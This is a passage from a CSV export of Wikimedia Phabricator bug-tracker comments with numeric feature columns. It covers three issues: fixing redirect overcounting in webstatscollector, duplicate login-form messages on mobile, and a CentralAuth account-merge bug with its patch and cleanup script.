+https://gerrit.wikimedia.org/r/165351",,,1412892139,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+328434,"By counting HTTP redirects, webstatscollector reporting too high numbers","Change 165631 merged by jenkins-bot:
+Stop counting 301, 302, 303 HTTP status codes
+
+https://gerrit.wikimedia.org/r/165631",,,1412892096,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+328428,"By counting HTTP redirects, webstatscollector reporting too high numbers","Change 165748 had a related patch set uploaded by QChris:
+[webstatscollector] Add condition to not count redirects
+
+https://gerrit.wikimedia.org/r/165748",,,1412869288,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+328421,"By counting HTTP redirects, webstatscollector reporting too high numbers","Change 165725 had a related patch set uploaded by QChris:
+Stop counting 301, 302, 303 HTTP status codes
+
+https://gerrit.wikimedia.org/r/165725",,,1412865082,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+328415,"By counting HTTP redirects, webstatscollector reporting too high numbers","Change 165631 had a related patch set uploaded by QChris:
+Stop counting 301, 302, 303 HTTP status codes
+
+https://gerrit.wikimedia.org/r/165631",,,1412804318,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+328410,"By counting HTTP redirects, webstatscollector reporting too high numbers","Change 165351 had a related patch set uploaded by QChris:
+Release fix that stops counting [uU]ndefined and redirects
+
+https://gerrit.wikimedia.org/r/165351",,,1412804311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+328402,"By counting HTTP redirects, webstatscollector reporting too high numbers","Oh. Counting of Special pages won't change per se.
+
+It only those Special pages that happen to come with 301, 302, or 303
+HTTP status codes.
+
+So for example Special:Search, or Special:Export come with HTTP status
+code 200. They'll still be counted as usual.",,,1412781119,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+328395,"By counting HTTP redirects, webstatscollector reporting too high numbers",I'm sure we can count special page requests separately if we want them...,,,1412779383,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0
+328391,"By counting HTTP redirects, webstatscollector reporting too high numbers","(In reply to Nemo from comment #1)
+> I'll miss
+> stats for Special:MyLanguage, [...]
+
+Yup. I'll miss stats for Special:Random :-(
+
+> Are we talking of 301 and 302 or something more?
+
+301, 302, and 303.
+
+303 basically only affects bots on wikidata. But there, some requests [1]
+see two 303s, before content gets sent.
+
+
+
+[1]
+_________________________________________________________________
+christian@spencer // jobs: 0 // time: 16:34:01 // exit code: 0
+cwd: ~
+wget -O /dev/null --header='Accept: text/html' 'https://www.wikidata.org/entity/Q507970'
+--2014-10-08 16:34:02--  https://www.wikidata.org/entity/Q507970
+Resolving www.wikidata.org... 91.198.174.192
+Connecting to www.wikidata.org|91.198.174.192|:443... connected.
+HTTP request sent, awaiting response... 303 See Other
+Location: https://www.wikidata.org/wiki/Special:EntityData/Q507970 [following]
+--2014-10-08 16:34:03--  https://www.wikidata.org/wiki/Special:EntityData/Q507970
+Reusing existing connection to www.wikidata.org:443.
+HTTP request sent, awaiting response... 303 See Other
+Location: https://www.wikidata.org/wiki/Q507970 [following]
+--2014-10-08 16:34:03--  https://www.wikidata.org/wiki/Q507970
+Reusing existing connection to www.wikidata.org:443.
+HTTP request sent, awaiting response... 200 OK
+Length: unspecified [text/html]
+Saving to: `/dev/null'
+
+    [ <=>                                                                                                                  ] 81,443      --.-K/s   in 0.1s    
+
+2014-10-08 16:34:04 (593 KB/s) - `/dev/null' saved [81443]",,,1412779103,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-39,True,1,1,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1
+328385,"By counting HTTP redirects, webstatscollector reporting too high numbers","(In reply to christian from comment #0)
+> Since we're about the deploy a new webstatscollector anyways, and this
+> double counting should not be too hard to fix, let's get it fixed too.
+
++1. https://meta.wikimedia.org/w/index.php?title=Research_talk:Page_view&oldid=10069001#Special_namespace_and_actual_problems (I'll miss stats for Special:MyLanguage, but that was a dirty trick).
+
+Are we talking of 301 and 302 or something more?",,,1412768866,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-39,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,1,1,0,1
+73771,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"Duplicate error messages
+
+Navigate to Special:Watchlist whilst not logged in
+You get two messages.
+
+Expected:
+You should just get the first styled message
+
+We should look to consolidate our own custom code with that in core...
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F15097}",Needs Triage,90.0,1412727060,1420572308.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-hvnfewejs72dtsg4vhfw,task_description,resolved,True,c3,1,True,True,True,-39,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+395840,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,Thanks @Florian !,,,1420572308,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0
+395815,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"Change 183028 merged by jenkins-bot:
+Don't show duplicate messages in LoginForm
+
+[[https://gerrit.wikimedia.org/r/183028]]",,,1420570163,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,False,,,-26,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+395695,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"Change 183028 had a related patch set uploaded (by Florianschmidtwelzow):
+Don't show duplicate messages in LoginForm
+
+[[https://gerrit.wikimedia.org/r/183028]]
+
+#patch-for-review",,,1420551813,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,False,,,-26,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+392823,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"Would be good to fix stable in the mean time for this problem.
+",,,1419450120,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+336916,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,#Mobile-Web,,,1417807765,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-30,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+327616,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"Using the desktop login form has various issues still and is not going to be ready any time soon.
+
+Is there any way we can make the stable/beta site version of our existing login form use this mechanism and override the messages?",,,1416273071,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-33,True,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+327610,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"Jon, the patch is live since wmf5 (since Wednesday, 29 October 2014 for all Wikipedias). We had no related bug reports (iirc) and it seems to work fine, what do you think: Can we move it to beta? :)",,,1416103854,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-33,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+327603,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,This is now live in alpha. Need to propagate these changes to stable.,,,1413927686,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+327597,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"**gerritadmin** wrote:
+
+Change 165634 merged by jenkins-bot:
+Use desktop login/account creation form in alpha
+
+https://gerrit.wikimedia.org/r/165634",,,1413917745,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+327593,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"**gerritadmin** wrote:
+
+Change 165634 had a related patch set uploaded by Florianschmidtwelzow:
+Use desktop login/account creation form in alpha
+
+https://gerrit.wikimedia.org/r/165634",,,1413213206,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+327590,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"https://gerrit.wikimedia.org/r/165634 will take care of this if it was to move to stable.
+
+I think we need to kill our custom login code.",,,1412804636,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+327587,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"Yeah, it was an idea (before i saw this bug today), maybe we can use it someway :) Comments are welcome!",,,1412792866,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+327584,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,Florna seems to have made a start to this - might be some ideas there - https://gerrit.wikimedia.org/r/#/c/165248/4,,,1412792760,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-39,True,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+327583,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"Created attachment 16700
+Similarly, if you hit an error you see two alert boxes. We should probably only show one.
+
+**Attached**: {F15098}",,,1412727525,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+327581,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,I'd suggest styling the alert box instead of headmsg and using our own custom message which includes the bold text.,,,1412727514,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+327580,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/dDj3Id6L",,,1412727317,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+73749,Globalization on login not rechecking ownership of homewiki leads to adding unowned accounts to the global account,"Another case with the root of bug 70468. The fix should be the same as we did for the web interface-- pass $checkHome = true to the merge function.
+
+--------------------------
+**Version**: master
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=70468",Needs Triage,90.0,1412702520,1412802835.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-xavuonborvicrpe2pqnf,task_description,resolved,True,c3,1,True,False,True,-39,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+326745,Globalization on login not rechecking ownership of homewiki leads to adding unowned accounts to the global account,"Created attachment 16726
+Patch after file reorg
+
+**Attached**: {F15048}",,,1412802214,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-xavuonborvicrpe2pqnf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+326738,Globalization on login not rechecking ownership of homewiki leads to adding unowned accounts to the global account,"My dry-runs indicate that 581 global accounts will be broken up, which includes 4309 local accounts.",,,1412787481,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xavuonborvicrpe2pqnf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0
+326732,Globalization on login not rechecking ownership of homewiki leads to adding unowned accounts to the global account,"Created attachment 16709
+script to break up bad global accounts
+
+Script that goes through the log files which I copied to terbium from fluorine, figures out if the user had a homewiki picked that was different from the current one, and then deletes the localuser/globaluser rows, and invalidates the CA cache, and local wiki caches.
+
+Has a dry run mode, manually set the 'simulate' member variable to false to make it run.
+
+**Attached**: {F15047}",,,1412787255,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xavuonborvicrpe2pqnf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+326727,Globalization on login not rechecking ownership of homewiki leads to adding unowned accounts to the global account,I think that fixes the issue. Let's deploy it.,,,1412706520,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-xavuonborvicrpe2pqnf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+326722,Globalization on login not rechecking ownership of homewiki leads to adding unowned accounts to the global account,"Created attachment 16693
+patch
+
+Patch made against 1.25wmf1, assumes that the patch for bug 70468 was also deployed. Cherry-picks cleanly against 1.25wmf2.
+
+**Attached**: {F15046}",,,1412703667,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-xavuonborvicrpe2pqnf,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+73618,Loginpage doesn't use mw-ui-button anymore,"no mw-ui buttons
+
+On beta labs, login and create account pages doesn't use mw-ui submit buttons (input still mw-ui).
+
+http://en.wikipedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin
+http://en.wikipedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin&type=signup&campaign=loginCTA
+
+--------------------------
+**Version**: 1.25-git
+**Severity**: normal
+
+**Attached**: {F14704}",Needs Triage,90.0,1412363460,1412370659.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-7ff4hmbeyf3qgiughwgk,task_description,resolved,True,c3,1,True,False,True,-39,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+321165,Loginpage doesn't use mw-ui-button anymore,"**gerritadmin** wrote:
+
+Change 164665 abandoned by Paladox:
+Fix missing mw-ui-button on Login and create page
+
+https://gerrit.wikimedia.org/r/164665",,,1412370389,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ff4hmbeyf3qgiughwgk,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+321161,Loginpage doesn't use mw-ui-button anymore,"**gerritadmin** wrote:
+
+Change 164665 had a related patch set uploaded by Paladox:
+Fix missing mw-ui-button on Login and create page
+
+https://gerrit.wikimedia.org/r/164665",,,1412369541,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ff4hmbeyf3qgiughwgk,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+321157,Loginpage doesn't use mw-ui-button anymore,"**gerritadmin** wrote:
+
+Change 164630 merged by jenkins-bot:
+Fix missing mw-ui-button on Login and create page
+
+https://gerrit.wikimedia.org/r/164630",,,1412368399,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ff4hmbeyf3qgiughwgk,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
